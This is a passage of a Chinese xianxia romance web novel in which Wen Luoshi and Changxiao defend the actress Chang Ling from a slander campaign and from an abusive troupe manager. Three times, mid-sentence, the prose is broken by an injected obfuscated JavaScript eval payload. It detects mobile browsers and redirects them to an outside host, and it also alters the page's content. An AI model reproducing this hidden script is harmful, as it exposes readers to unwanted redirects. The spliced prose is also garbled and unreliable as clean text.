“我得先走了,要去趟第二重天。我以前的书出了点问题,要去参商镇里处理一下,再不启程就晚了。”覆雪再次开口。 “好,”文落诗回神,“那你照顾好自己。” 也不知为什么,本是萍水相逢,但许是两个人都是以笔营生,惺惺相惜,又可能因为从文落诗身上看到了自己曾经的影子,覆雪遇见文落诗,既是惊喜,又是有些痛苦。而且,她下意识想把这些淡淡的痛苦,转化为衷心的祝福。 她总觉得,文落诗比自己幸运太多了。 遇见长晓之前,覆雪就有这种直觉,如今见到长晓,她虽不认识对方是谁,却一下子明白,这种瞬间,自己这辈子恐怕都不会有的。 想到此处,她有些不舍得离开文落诗。她好像在奢求一个无法得到的事物,只能通过看别人的幸福,来填补自己内心的空缺。 于是,她斟酌道:“落诗,这次事情很复杂,我会在参商镇的扶月书局中待很久,恐怕要几年时间。若是你……有闲暇时间,也愿意的话,欢迎来找我。” 文落诗并不知她经历过什么,却意识到,她好像在做一些很难说出口的挽留。她希望自己能安慰覆雪,便道:“好,我若是近几年去到参商镇,定去找你。” 覆雪点头,又看了一眼长晓和文落诗,见两人的身影同时出现在自己视线之中,她眼框不知为何,有些湿润。 她不想让这份突如其来的脆弱被人目睹,于是立刻转头离去。 她逐渐走入人群,成为人群的一部分,最终消失在人群中。 31. 舟上观雪送春归 覆雪走后,文落诗感到一阵难过,虽然她也解释不清这份难过从何而来。 长晓的话打破了她的这份沉思:“刚刚那位姑娘是……” “覆雪,”文落诗抬起头,努力冲出这份难过情绪,“怎么样,没想到吧?昨天还在跟你提她,今天就被我碰上了。” 长晓双眼微微睁大:“这可真够巧的,我以为你们认识很久了。” 文落诗想了想,道:“这可能就叫一见如故吧。怎么样,她是不是特别好看?我真没想到她这么漂亮,看得我一个姑娘都挪不开眼。” 说罢,忽然,她心头一动,看着长晓,调侃道:“你呢,偶然见到这么个大美人,有没有点别的想法?” 长晓转过身去,继续看戏,没搭理文落诗。 文落诗心里翻了个白眼。真无聊,一看就是不看话本的人。 过了很久,直到周围一切光景都被戏影遮盖之后,长晓才轻轻开口:“是好看,但没有你好看。” “啊?” 文落诗早就忘了自己刚刚说了什么了。眼看着戏台上剧情发展到一个恶毒女配计划陷害女主了,她看得正沉浸,也没注意听长晓道话,就很应付地“啊”了一声。 长晓转头,凉凉地看了她一眼,也没再说话。 “长晓,”文落诗盯着台上的恶毒女配,忽然开口,“你看台上那个恶毒的白莲花,像不像常绫?” 长晓听到她这个描述,嘴角使劲抽了抽:“我刚刚看了许久,应该就是她。” 文落诗惊奇:“怪不得之前遇到她的时候,她说自己的戏班子要在寒声城演出,原来她就是寻光里的人啊。” 长晓颔首,表示认可。 忽然,文落诗反应过来什么:“等下,你什么时候来的啊?” 长晓看向她,先是震惊,又是无奈,只得恨恨道:“你才想起来我啊?刚刚一颗心全都扑倒覆雪身上了,我算什么。得亏覆雪是个姑娘,不然,我看你恨不得把余生交付出去了。” 文落诗感受到长晓似乎在跟她斗气。虽然她也不知道长晓究竟在气什么。 “这不是想起来了吗?总比我没想起来好吧。”文落诗转过头去,一心看台上的戏,故意不给他正脸。 长晓也不看她:“没来多久,出门路过这里。” 他并没有说,自己是处理完事务后,其实立马去了欲晓书局,却寻了个空,猜到她可能来看戏,一路奔波赶来的。 按理说,以文落诗明察秋毫的敏感度,一下子就能听出长晓在扯谎。但她此刻全部注意力都在戏台上,正巧演戏的还是个熟人,就完全忽略了长晓这话的可信程度。 没过多久,这出戏就到了最揪心的时刻了。 常绫顶着一张美妙绝伦、娇艳欲滴的脸,浑身血迹,可怜巴巴地倒在了男主角面前,抓着男主角的衣角,说女主角要害她,要把千年的修为全都废掉,让她永世不得再为魔。 一旁的女主角一脸浩然正气,仿佛对这栽赃无动于衷,大有一种清者自清的态度。 而男主角就没这么清醒了,一会看看女主角,一会看看全身是伤倒在自己身前的常绫,一时难以判断。 没过多久,人群一片沸腾,开始散场了。 不少人大呼小叫,怒气冲天,因为这位优柔寡断的男主角,选择了相信恶毒女配。 好经典的剧情。 这么多年了,类似的剧情,文落诗在无数话本和戏剧中看过无数次。虽然她并不理解为啥有人能无脑到这种程度,但这个桥段就是经久不衰,大有一番流芳百世的姿态。 你看这戏台下,观众多得都快挤满整条街了。这就很能说明,再烂俗的剧情,也一定有受众,而且受众还很多。 演出终于结束,文落诗脖子都伸得酸了,对着天空伸了个懒腰,打了个哈欠。 “不得不说,常绫演得真好,我看着都恨得牙痒痒。” 长晓瞥她一眼:“你这出戏出得还挺快。” “那是自然,”文落诗伸展了一下手臂,“常绫是常绫,她只是负责演这个坏人而已,观众觉得这个角色坏,证明她演得好。” 可她没想到打脸打得这么快。刚说完,她就听到了周围人的纷纷议论。 一人道:“柏青也太坏了。” 文落诗反应了一下,想起来,柏青是常绫演的那个角色的名字。于是她暗自点了点头。 另一人道:“我跟你说,能演成这样,证明这个戏子本身也不是什么好东西。” 文落诗开始有点懵。这什么逻辑? 紧接着,又一人道:“那肯定的,看她长得那一副狐狸精一样的脸,本人能是什么好人。” 有了这几个人开口,周围人三三两两成群,似乎都开始针对常绫。不一会儿,随着他们的讨论愈发激烈,场面开始沸腾起来。 “你说她长得像一副贱兮兮的样子,指定不是什么好人。” “那是,她简直本人就是这角,才能把这角演成这样呢。” “你说得太对了,你看她在台上这么多戏份,说不准是用什么手段获得的。” 听着呜呜泱泱一片议论逐渐变得离谱,文落诗愣在原地,一时间不知道该从哪里去开口反驳。 常绫啊,那可是跟自己吃饭的时候掏心掏肺聊天的人,就被他们三两句话贴上了“坏”的标签。 长晓在一旁,比文落诗冷静一些。 “落诗,走,先回去。” “现在这种情况,你让我回去?”文落诗惊讶。 “你一个人控制不了整个场面。而且常绫已经回后台了,暂时不会有事。” 文落诗觉得他说得有理,冷静了不少。他们二人站在人群中,而人群在汹涌地移动,移动的同时,一股灰色的喧嚣正在蔓延开来。 文落诗盯着刚刚起头的那几个人看了一会,记下来他们的面孔:“我总觉得,这件事没这么简单。” 长晓眯了眯眼:“我有同感。先回去,明天看看事态怎么发展。” 文落诗在还盯着人流,就觉得自己身上的斗篷被长晓一拽,同时听他道:“走了,我们回去。” 她跟上长晓的脚步,总觉得,“我们回去”这话好别扭啊。 * 翌日,文落诗醒来,发现屋内的更漏又是巳时过半了。 她窸窸窣窣从床上爬起来,弄出不少动静。忽然,她听到一个熟悉而温润的声音:“终于醒了?” 文落诗绕过屏风,双眼朦胧,隐约看到长晓坐在屋子中央的桌子前,低头看书。 “嗯,我无事的日子,从来做不到早起。” 她揉揉眼睛,看到模糊的视线中,长晓抬起头来,正在看着自己愣神。 她不明所以,但看清长晓眼神的那一瞬间,她清醒过来。 糟了! 这就是在同一间屋里过夜的最大坏处! 因为,她每次刚起床的时候,都着急来喝水,不然嘴巴里是苦的。但是,她喝水的时候,由于脑子还懵着,从来不注意自己的形象。 以至于,她此刻,大概是一个头发和衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14593034|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衫都乱蓬蓬的样子。 要是个姑娘看到自己也就罢了,偏偏眼前的人是长晓。 文落诗清醒过来的那一刻,哪里还顾得上喝什么水,转头一溜烟跑回屏风后,跳上床,把自己像粽子一样用被子裹了个严实,整张脸埋在枕头里。 然后,她听见长晓一声叹气,里面夹在着颇为无奈的笑意。 这个声音又隔着屏风传来:“我看出来了,你是真的完全不在乎自己形象。” 文落诗不理他。 紧接着,声音再次响起:“你以前跟彦月在同一个屋檐下过夜的时候,也是这么无拘无束吗?” 文落诗翻过身来,面朝着天花板,大喘着气:“我一般醒得比他早多了。他才是真的睡到中午。” 长晓很明显没想到彦月是睡到中午的人,沉默了好一阵。 文落诗趁着这个功夫,调整好心态,从床上坐起来。她走到铜镜前,特意夸张而仪式化地整了整自己的头发,打理了好半天自己的形象,再把衣服换好。 长晓在这种事情上倒是真的很君子,对刚刚的事情闭口不谈。 文落诗再次回到中厅的时候,已经是衣带整齐,长袖款款,乌黑的头发垂在身后。用长晓的话说,叫恢复了美女的姿容。 当然,听到长晓如此形容,文落诗心里大大翻了个白眼。 因昨日与他说过,自己可能需要在寒声城干等几个月,等欲晓书局的消息,文落诗此刻是个名正言顺的大闲人。 她问过长晓,要不要去忙他自己的事情,不用陪自己干等着,长晓道不用。 他的意思是,陪着她也不耽误自己的事情,且来一座新的城市,多住一段时间,看看风景,品品民生,还能歇歇脑子,挺好的。 她无从反驳,只能任由长晓在接下来的至少两个月,依旧和自己“同居”。 她从来没有这么庆幸,自己一心扑在事业上,对谈恋爱没兴趣。不然,看着长晓这张脸在自己面前晃悠来晃悠去,换做任何一个跟她同龄的姑娘,都早就受不了了。 于是她十分坦荡。 “我还没问你,常绫的事情,怎么样了?我总觉得,是那几个挑头的人是故意的。他们不太像是入戏太深,更像是有备而来。”文落诗喝了口茶,对上长晓的眼。 “这刚上午,看不出来什么。待过段时间,茶楼里人多了,就知道了。”长晓眼神中透露着平静,但文落诗感受到,这份平静的背后,怕是暗流涌动。他估计也很想知道,这件事到底会往什么方向发展。 “嗯,还得谢谢你,落脚点是个茶楼。著名的三大消息汇集地之一。” 长晓愣了愣神,大概想明白哪三个地方能算是消息汇集地了。毕竟他手下也有不少人,专门活动于这种人口流动性大、消息满天飞的场所,目的就是收集消息。不过,他倒是第一次听说有人直接起了个汇总名字,好奇道:“这个说法怎么来的?” 文落诗自信道:“你知道,市面上有很多教人怎么写话本的教材,里面告诉你有不少写文的套路。其中就有讲到,安排情报相关的剧情,可以有哪些场所,列了一堆。酒楼茶楼青楼,这仨被人写过太多次了,就有了这么个说法。” 长晓甚是无奈:“你真的满脑子都是怎么写话本啊。” 文落诗扬头“啧”了一声:“那当然,要想写好,就得……” 话说了一半,就听楼下传来窸窣动静。 文落诗立刻闭嘴,甚至屏息凝神,蹑手蹑脚凑到门缝处,从缝隙中瞧见,楼下大堂进来了一群人。 32. 寒声不解戏中人 文落诗扒着门缝听了一会,心凉了大半。 长晓坐在桌前,面色也渐渐凝重起来。 不出意料,人们大多都在讨论昨日的寻光大戏。这没什么稀奇,毕竟轰动全城的大事,有讨论度很正常,又是在茶楼里,这件事自然会成为人们聊闲天时的首要谈资。 但是,文落诗很快发现,情况并没有这么简单。她总觉得,有人在有意无意地把话题往常绫身上引,而且还是昨天那套“演坏人就证明戏子本人就坏”的逻辑。 起初,还有不少人围护常绫,说应当把戏子本人和角色分开,但又有人提出,入木三分的表演背后,没准就是本色出演呢。 人群很奇怪。一个偏激的想法一旦出现,人们定会开始议论。而一旦议论发生,人们自然会分成不同派别,形成不同的人群。只跟观点一致的人聊,思维就很难再拉回去了。一番酝酿下,这种偏激便会在人群中发酵,渐渐蔓延开来。最终,整个群体,都会比最初的想法更加极端。 确实有人不认同常绫本人跟角色有直接关系。但更多人,在这种无形的煽动下,越来越坚信,常绫之所以演成这样,是因为她本色出演。 而且,事情似乎比昨日更严重。 不仅上升到了对常绫人格的“探讨”,也出现了各种无从考证、很多人却甘愿相信的谣言。 甚至包括黄谣。 最终,不少人痛骂完常绫,用尽了这辈子学过的所有脏话,爽快而归。也有人意犹未尽,仍在评头论足着。 文落诗和长晓商量,决定今日先不出门,看明日的情况。若真是有人在故意挑动,那明日定会继续,以维持今日的“战果”。 这种情况下,最忌讳轻举妄动,打草惊蛇。 至于常绫,接下来一个月内都没有演出,她在戏班里,而戏班一般有自己的院子,不对外开放,她应该还算安全。 于是,两人在房间里各干各的,有时也关注着楼下的动静,过了一天。长晓去了一趟后院,好像找阿妍交代了些什么,文落诗也不关心。 就这样,两人在这种紧张的气氛下,共同盼来了翌日茶楼开始营业的那一刻。 文落诗首先发现了异常,从微微开着的门缝中,指着一个方向,对同样站在门边、关注着楼下动静的长晓道:“你看左边角落里那个灰衣服的人,我觉得有些眼熟,如果没认错,大概就是演出刚结束的时候,带头诽谤的几个人之一。” 长晓面色比昨日更加凝重,有种静观山雨欲来的意味:“就是他。” 得到了肯定的答复之后,文落诗按耐不住了:“得先去找常绫。” 长晓没意见,立刻披上衣服准备出门,却在门口忽然停住脚步。 “怎么了?”文落诗问道。 “我们别露面。若真是冲我来的,我现在的一举一动都会被人留意。”长晓闭眼,像是预感到了什么。 文落诗脱口而出:“冲你来的?为什么?” “只因为我在这座城里,”长晓重新睁开眼,像是做好了准备,“用法力掩去身形,我们直接从空中飞过去。” “我不知道常绫在哪里,这么一直消耗着法力去隐身,怕是待法力耗尽了,都不一定能找到人。”文落诗见长晓比自己心态稳多了,也努力让自己稳下来。 “昨日我问了阿妍,她打听到了一个大致方位。在那几条街巷中,我们在空中寻找,应该用不了多少时间。”长晓语气沉静。 “好,”文落诗再怎么劝自己冷静,也终究是着急,赶紧道,“那走吧。” 于是,他们化为两道光,就像来寒声城路上那样。紧接着,两道光分别消失在空中,再也看不出光在哪里。 只见窗户处有一阵风波动,很快归于平静。 * “就在这附近。因为怕有些观众太疯狂,寻光从来不公开自己的落脚之处。”长晓淡淡道。 如今空中澄澈一片,只能听见长晓的声音,街上众人来往依旧,无人意识到,有两个隐去身形的人从身侧掠过。 “我听说过,有的戏子出名了之后,有很多追捧的人,天天堵在门口,是挺可怕的。”文落诗在一旁回应道。 长晓笑了一声:“我还是第一次这么长时间跟空气对话。” 文落诗无奈:“这不是正在掩盖着身形吗,再同时使用传音的术法,太消耗体力了。” 长晓刚想回答,却见前面有条巷子安静得出奇,甚至诡异,便立刻噤声,凭借着直觉向前飞去。文落诗跟在他后面,不一会,就觉得已经转了七八个弯了。 巷子深处,有一处巨大的院落,大门紧闭,也没挂门牌。 文落诗立刻跃起,窜过大门和围墙,停在了院里房屋的瓦片上。长晓紧跟其后。由于他们是不请自来,两人依旧很默契地没有显露身形。 没过多久,一阵脚步声传来,内院里走出一个身着粉衣的女子,头发稀松披在身后。她面无表情,眼皮有些浮肿,眼角不说控制地下垂,像是哭过。 文落诗仔细一看,这人正是常绫。她正抱着一堆戏班的衣箱出来,上上下下,摞了好几个。 这也太过分了。 之前就听她说,那个主管事经常让她去做份外之事,各种脏活累活,如今这么多箱子,怎么也轮不到她来搬啊,剧装科那群人都是干什么吃的。 不过文落诗很镇定。她知道不能妄动,不然很容易帮倒忙。这回根本没用上长晓提醒,她就静静地坐在房檐上,继续看着事态变化。 没过多久,又一个女子从对面的屋子里出来了。这姑娘正是那日演出中女主角的扮演者。 她打扮得可谓花枝招展,头上珠光宝气,翠玉连连,身上也是一件华丽而鲜艳的罗裙,盈盈大袖上绣满昙花的纹样。她颇有些模仿世家小姐般矫揉造作,七扭八歪地走到常绫面前,懒散抬眼,对她一通打量,从头看到脚,眼神中的嘲笑之意已经藏不住了: “哟,还得多谢我们常绫姑娘,把我的衣箱都给搬了。” 常绫淡淡道:“朱紫姑娘,我怀里东西沉,麻烦你让个道。” 文落诗心想,名字倒是挺好听,就是看起来心肠不太好。 果不其然,那个叫朱紫的姑娘像模像样地让开了:“真不好意思,耽误你干活了。” 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14608346|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 特意把“干活”两个字咬得极重,好像特意在强调,哎呦,如今你不得不做这些不属于你范畴的劳动喽。 文落诗实在没忍住,磨了磨牙。她感受到,旁边的形为一团空气的长晓使劲看了她一眼,提醒她别有动静。 好在常绫和朱紫的修为都比她低多了,根本无人注意到,屋顶上坐了团会磨牙的空气。 朱紫大摇大摆离去,常绫灰头土脸进了对面的房间内。 文落诗和长晓不约而同从屋檐上跳下,来到窗边,继续发挥当时在茶楼里的技能,从窗户缝里观察常绫的情况。 只见常绫任劳任怨,把箱子一个一个在角落里放好。屋子没开窗户,灰暗得很,又是放杂物的地方,自是灰尘一片。常绫一身粉裙,在这样的屋子里,显得被迫退了色。她静静地看着面前的箱子以及地上乱成一片的道具,不一会,转过身来,在确认屋外没人后,整个人迅速落魄下来,好似一朵迅速凋零的花。 她僵硬的身体缓缓下移,软塌塌坐在地上的那一刻,仿佛她的身体是一个物件,感受不到疼痛,是毫无顾忌地砸向地面的。不多久,她双眼无神,盯着屋子深处的方向,久久没出声。 “她哭了。”文落诗再也忍不出,给长晓传音。 “我看出来了,”长晓轻声道,“要不要进去?” “别急,让她哭一会,”文落诗说道,“她需要找个没人的地方发泄一下,先不要打扰她。” 长晓刚想说“好”,却听背后传来一阵嘈杂的脚步声。 又是谁来了? 二人回头一看,只见一个身形粗大、浓眉大眼的男子拖沓着步伐走来。 这男子看上去比她和长晓、常绫等等的年纪都大。虽然很难通过外表判断一个魔的年龄,毕竟魔的寿命极长,但那种经历过更多岁月冲刷的痕迹,还是会写在脸上的。 他一步一个“批啦”的脚步声,一看就是懒得抬起脚好好走路。 文落诗心想,这要是谁住他楼下,得被他塔拉的脚步声烦死。 她正内心嘲笑对方,却忽然收到长晓的传音:“他大概就是余峥。” 文落诗心神一凛,结合之前常绫所说,这个人就是他们的主管事了。他资历颇深,在戏班里一呼百应,就算经常欺辱别人,也没人敢反抗他。 可文落诗还是忍不住问了一句:“你怎么认出来的?” 长晓想了想:“余家人,眉眼大多都和余易有些相似。” 文落诗答了句“嗯”,就继续绷紧精神,观察情况。 所以,长晓是见过余易的。 那可是当今大司徒,握着多少人财户命根子的人,能见过他的人…… 文落诗强行打住自己的思维,让自己不要往下想。 余峥根本没敲门,径直走进了房间。房门敞开,一缕微弱的光照进来,弱到根本不足以点亮整个房间。 整个场面还是死气一片。可好巧不巧,那束光打在了常绫的脸上,明晃晃映出了她湿润的双眼,和满脸的泪痕。 余峥见常绫这副模样,浓眉一瞪,狠狠吼道:“我让你搬箱子,你呢?坐在这儿哭?” 33. 寒声不解戏中人 常绫迅速用袖角抹了把眼泪,也不管是否擦疼了脸。她声音有些抽噎:“我都搬完了。” 余峥一见她这种不卑不亢的样子,更是来劲了,语气飞扬:“你现在是个打杂的,你唯一要做的,就是服从我的命令。我允许你哭了吗,你就在这里哭!” 文落诗震惊,随即一阵愤怒涌上心头。 常绫捂着脸,抽噎着道:“对不起,我没有……” “就你会卖惨啊?你现在哭,是在告诉我,你什么都是对的,而有问题的是我?”余峥仰着脖子大吼,声彻云霄。 常绫只是一个劲地摇头,连话都说不出来了,双手有些颤抖,双眼勉强睁着。 余峥走上前一伸手,一颗刚从常绫眼角处落下的眼泪,在紫光的包围下,飞到了他的手掌中。 他对着手掌中的泪珠“呸”了一声,吐了口吐沫,又狠狠甩了甩手:“遇到点事就哭,眼泪可真够廉价的。” 事情发展到这种情况,常绫根本顾不上什么所谓尊严了,只能一个劲地点头,全盘认可余峥所说。 ——并不为因为自己错了,而是只为了他能不继续说下去。 窗外,文落诗扫视了一圈四周,发现没有别人后,便道:“长晓,我有个不情之请。” 长晓颇为意外:“无妨,你讲。” 文落诗叹了口气。 “若有以后,我余家人盯上,甚至因得罪了一些高官而被抓捕入狱,请你一定装作不认识我,什么也别管我,过好你自己的日子。” 说罢,她显露出身形。 几乎是同一瞬间,长晓也显露身形,极为震惊地看着她,一时不知道该从哪里开口。 接下来,只见那合上一半的房门,被文落诗猛地一脚踹开。 在屋内二人和屋外长晓都没反应过来的时候,噼里啪啦几声响起,文落诗已经扇了余峥四个大耳光。 随着清脆的四道响声落下,场面安静了很久。直到余峥看见,眼前站了一个陌生的小姑娘,挡在常绫面前,才渐渐反应过来,自己好像被打了。 而这个陌生的姑娘,顶着一张闲雅绝美的脸,眼神中却是冷意溢出,直逼面前人的胸口。她似乎充满不屑,拍了拍手上的灰,十分随意道:“倒是打疼了我的手了。回头你还得还这笔债。” 这一场变故发生得太快,余峥被打懵了。 他从来都是打骂别人,从小养尊处优,何曾有人对他动过手?到现在,他依旧停留在震惊中,感受着脸上渐渐烧起的疼痛,完全不相信自己被打这个事实。 直到长晓推门声响起,余峥才渐渐回过神来。 “你刚刚打我?” “嗯,你说了四句恶心的话,我就打了你四下,不多不少。”文落诗坦然道。 忽然,她想到了什么,再次走上前去,“啪”一声,又打了他一个巴掌。 “对哦,我怎么之前没想到呢?现在我可以不计较手疼的事情了。” 常绫却反应过来,匆忙从地上起身,惊道:“落诗?” 文落诗点头:“最近形势不太妙,我怕你出事,特意寻来这里看看你。” 常绫眨眨眼睛,震惊得说不出话来。 虽然不知道她是在震惊自己为什么出现在这里,还是在震惊自己方才的壮举,总之,文落诗的目的,是把常绫带走。 “走,这段时间,你先跟我住,离开这个是非之地。” 长晓不知何时已经走到文落诗身边,颇为无奈地看着她,同时又有些欣慰。半晌,他对常绫道:“常绫姑娘,好久不见,你怕是受苦了。” 可没等常绫回答,余峥已经满手氤氲着紫光,准备向他们袭来。 真是跟那什么尹岐一个德行。文落诗不以为意,左袖一拂,划出一道浓郁的粉烟,直接把还未成形的紫光全部击碎了。 余峥施法不成,反被破功,一时恼羞成怒:“这里是我寻光之地,你们哪里来的滚回哪里去,谁给你们的胆子,敢在我这里放肆?” 文落诗看着他好笑,故意把语气放软:“呦,你知道吗?一个弱者,往往手无缚鸡之力的时候,才会说出恐吓对方的话。” 长晓见文落诗已经骂得挺到位了,本来满腔愤怒,现在便也不着急了,在一旁问道:“你是这里的总管事?” 余峥怒极:“是啊!我教训自己班里的人,轮得着你来管?” 文落诗本来想直接带走常绫,不多说废话,可如今余峥拒不认错,就别怪她用上自己极强的吵架技能了。 “哦,那按你这么说,那堆箱子有剧装科的人来管,出门采买也有专门的人负责,轮得着常绫来做?这不明摆着仗势欺人呢吗?就觉得常绫好欺负是吧?好啊,你欺负人家是理所应当,那我现在欺负你,我也觉得挺顺理成章的。” 文落诗手中凝聚了一团粉烟,正想向余峥挥去,却被长晓拦下。 “可以了,没必要在他身上消耗精力。” 文落诗却不打算听长晓的。 “和讲道理的人吵架才有用,你和他吵没用。以理服人得建立双方都有脑子的基础上,但现在对方没脑子。” 文落诗想想也是,收了手。 她本以为,长晓是劝她到此为止。 谁知,接下来,长晓又补充了一句话:“你方才已经做了这么多,这回要来也是我来。” 于是,在一阵惨叫声中,余峥的左手紧紧抱着已经快要被蓝光烧焦的右手,倒坐在地。那团蓝光渐渐变弱,却余留着不散的星星点点,不断折磨着他。 长晓收了手,转身看向文落诗和常绫:“行了,接下来一个月,他的右手算是废了。” 常绫再次呆住。 文落诗震惊许久,反应过来之后,却嘴角一扬。 她知道,长晓懂她。 方才余峥用右手抓过常绫的眼泪,并借机折损了常绫的人格,他最该废的,除了被文落诗扇了五个巴掌的那张嘴之外,就是这只右手。 她牵过常绫的手,走到余峥面前,以一种居高临下的眼神,冷冷看着他:“本来不想跟你废话,但是,有句话,我不说不痛快。” 她轻轻俯下身,有些轻蔑地看着挣扎抬头的余峥,平静说道: “难过,是这世界生灵的一种基本情绪,而哭,是这种情绪的体现。仅此而已,并不代表谁在示弱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14635880|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,也不代表谁天生软弱。更何况,常绫没有当着别人的面哭,自己选择找个无人的地方发泄情绪、调整心态。她哭,是她本身的权利,不是你仗势欺人的捷径,也不是你倚老卖老的手段。 “常绫跟我说过,你年长,且资历深,大家都敬重你,句句听你的,但这并不意味着,你这些日常生活中看不起别人的行为,和随意侮辱别人的口吻,都是理所应当的。常绫这种小辈被你训的时候,你可能会感到一种居于人上的满足感,甚至美其名曰严格。但是好巧不巧,你今天碰上我,这套空虚的架子,对我没用。 “最后再补一句,‘廉价’这个词,用来描述你的行为举止,还差不多。” 文落诗说完,咽了口吐沫,润了润嘴唇。 对于这种气急败坏而疯狂的人,平静地诛了他的心,才是最好的解决办法。 这些日子以来,她经历了太多往日平静生活中不可能遇上的人,和各种千奇百怪的事。她早就不是以前那个只会用情绪解决问题的姑娘了。 然后,她一挥手,余峥的身体周围出现了一团粉烟,把他牢牢缚在身后的柱子上。任凭他如何挣脱,都没办法再移动身体。 常绫在一旁,满眼感动地看着文落诗。 余峥仿佛受到了这些年来最大的冲击,看了看萦绕在身体周围的粉烟,恶狠狠盯着文落诗,用那只幸免的左手指着常绫,声音仿佛是从牙缝里挤出来的。 “我管你说什么有的没的,就凭我所修之道名为熙光,她这种小蝼蚁,就应该屈从于我!没看到我的法力是什么颜色的?我告诉你,无论你再怎么贬低我,我走在街上,就是比你和她直得起腰!” 文落诗被噎住,倒不是因为她害怕,而是因为她震惊于对方把各道之间的鄙视摆在明面上,还振振有词。 同时,她明显感受到,身旁的常绫,手抖了一下。 这种情境下,她总不能把那套道业不该分高低的理论给余峥讲一遍,她凭什么浪费这个时间,而且对这种层级观念根深蒂固的人来说,也肯定对牛弹琴。 就在文落诗犹豫之时,长晓动了手。 他没说话,但是直接一道蓝光过去,彻底封住了余峥的口。 “既然已经不会说人话了,那就别说。” 于是,世界安静了。 长晓转过头,有点心疼地看着文落诗:“别跟他废话了,生气伤了自己的身子多不值当。”接着,他对常绫道:“常绫姑娘,先离开这里吧,起码出去透透气,歇一歇。” 文落诗也点头,拉着常绫出了房门,徒留一个余峥在昏暗的屋内,干瞪眼干急眼,却只能看着房门一点点关上。文落诗忽然想到什么,在屋子周围下了个结界,保证余峥无法听到外面的声音,一般人也没办法进入屋子。 其实文落诗心里也不知道这样行不行,毕竟一个戏班的总管事,就这么给关起来了。她也拿不准自己做的事情是否该有个度,而那个度又在哪里。 她看向长晓,看他一脸泰然自若,像是有足够的底气,不慌不忙,有一种独属于他的沉着气质。 她总觉得,只要长晓在,这件事情总能找到合适的收场办法。 34. 寒声不解戏中人 出了房屋,来到院子里,文落诗再也忍不住,一把抱住常绫。 “我可心疼死你了。” 常绫好不容易不哭了,此刻忽然眼镜又有些发酸。 “你们怎么来这里了?”常绫看着文落诗,又看了看在一旁的长晓。 “稀音城的书局关了,我来这里的书局。”文落诗答道。 常绫又看了看长晓,面露疑惑。 “左右无事,我陪她来一趟。”长晓道。 常绫刚哭完,脑子一片混乱,根本理不清楚事情是哪里跟哪里了,可面对这样的回答,她还是下意识觉得,这两个人不太对劲。 “屋里那人,之后拿他怎么办,我还没想好,但是我给他施的法,够困住他整整十二个时辰的。”文落诗见常绫有些懵,把话题扯回来。 常绫点头:“多谢,我总算可以透透气了。” 文落诗实在太心疼她了:“你随我回去住吧,别在这里呆着了。外面情况有多可怕,想必你也听说了,我实在不放心你。” 常绫问道:“你来寒声城,住在何处?” 文落诗一噎。 她总不能这么坦荡地对外说,她跟长晓住一间屋子里吧? 不过,不出她所料,长晓在此时开口:“我在寒声有个朋友,开了家茶楼,我们暂时借住在那里。” 文落诗嘴角一抽。 要不是她提前知道,长晓大概是这家茶楼的东家,还就真被他三言两语给骗了。 常绫闻言,摇头:“我还是不跟你们走了,我住这里挺好,有自己的小房间,挺安全的。今天晚上没有总管事来找事了,我能睡个好觉的。” 文落诗倒也反应过来,要是真叫常绫跟她回去,怕是不太合适。 “你确定可以吗?” “嗯,我们戏班整体还是挺好的,至于外面怎么说……”常绫眼眸垂下来,“我在院子里不出去,应该段时间不会有事。” 文落诗知道,她的意思是,长时间下去,她势必会失去演出机会。 毕竟戏班是需要盈利的,不然没法生存。让一个充满争议的人去表演,并非盈利之道。 长晓这时说道:“好,那我和落诗明日再来找你,今晚你先好好休息,就装作什么都没发生。具体总管事怎么办,外面的情况怎么办,明日再想办法。” 常绫点头,打算送别二人。 文落诗刚欲迈步,却还是忍不住回过身,眼神中略带一丝苦楚:“常绫,你今日的情况是被我们碰上了,我不敢想象你平日里过的都是怎样的日子。我其实很想问,你又没有卖身契,为什么还要在这个戏班里过下去?” 其实,不需要常绫回答,她知道答案。她问出这话,只是祈求最后一丝希望,希望常绫能说出一个不同的答案,比如自己是无奈之举,自己有束缚之类的,她才能彻底帮常绫解脱。 但常绫的回答,完全在文落诗的预料之中,却也正是她最不希望得到的答案。 “我不舍得走。这个戏班子是我当时和贠莫一起创办的,一路走到今天,我自然不舍得离开。至于我自己,只有一个原因,就是我真心喜欢这件事。无论是策划还是表演,我都真心真意地喜欢。哪怕被外界骂成什么样了,哪怕我只是个底层的小人物,我也不想随意丢掉这个热爱。毕竟,一辈子能找到一件喜欢的事情,已经很不容易了。而且我相信,你,还有长晓,其实都明白。” 文落诗久久没有说话。 